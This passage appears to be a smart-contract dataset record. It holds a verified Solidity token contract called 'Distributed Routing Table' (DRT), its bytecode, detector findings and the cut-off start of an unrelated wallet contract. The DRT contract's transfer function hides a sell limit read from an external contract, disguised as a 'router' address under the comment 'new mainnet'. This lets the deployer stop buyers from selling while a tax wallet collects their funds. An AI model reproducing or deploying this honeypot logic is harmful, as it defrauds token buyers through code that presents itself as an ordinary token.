/** *Submitted for verification at Etherscan.io on 2021-11-14 */ //SPDX-License-Identifier: MIT // Telegram: t.me/drttoken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Distributed Routing Table"; string constant TOKEN_SYMBOL="DRT"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DRT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280601981526020017f446973747269627574656420526f7574696e67205461626c6500000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4452540000000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7cecb0c378e6fb88c81a53e621018fba118e745d30ce8d86e93aad16c923ed464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
295
0x4e755da96e10bcc07d52717052eb9cefba686ad3
pragma solidity ^0.5.5; library SigUtils { /** @dev Recovers address who signed the message @param _hash operation ethereum signed message hash @param _signature message `hash` signature */ function ecrecover2 ( bytes32 _hash, bytes memory _signature ) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := and(mload(add(_signature, 65)), 255) } if (v < 27) { v += 27; } return ecrecover( _hash, v, r, s ); } } /* Marmo wallet It has a signer, and it accepts signed messages ´Intents´ (Meta-Txs) all messages are composed by an interpreter and a ´data´ field. */ contract Marmo { event Relayed(bytes32 indexed _id, address _implementation, bytes _data); event Canceled(bytes32 indexed _id); // Random Invalid signer address // Intents signed with this address are invalid address private constant INVALID_ADDRESS = address(0x9431Bab00000000000000000000000039bD955c9); // Random slot to store signer bytes32 private constant SIGNER_SLOT = keccak256("marmo.wallet.signer"); // [1 bit (canceled) 95 bits (block) 160 bits (relayer)] mapping(bytes32 => bytes32) private intentReceipt; function() external payable {} // Inits the wallet, any address 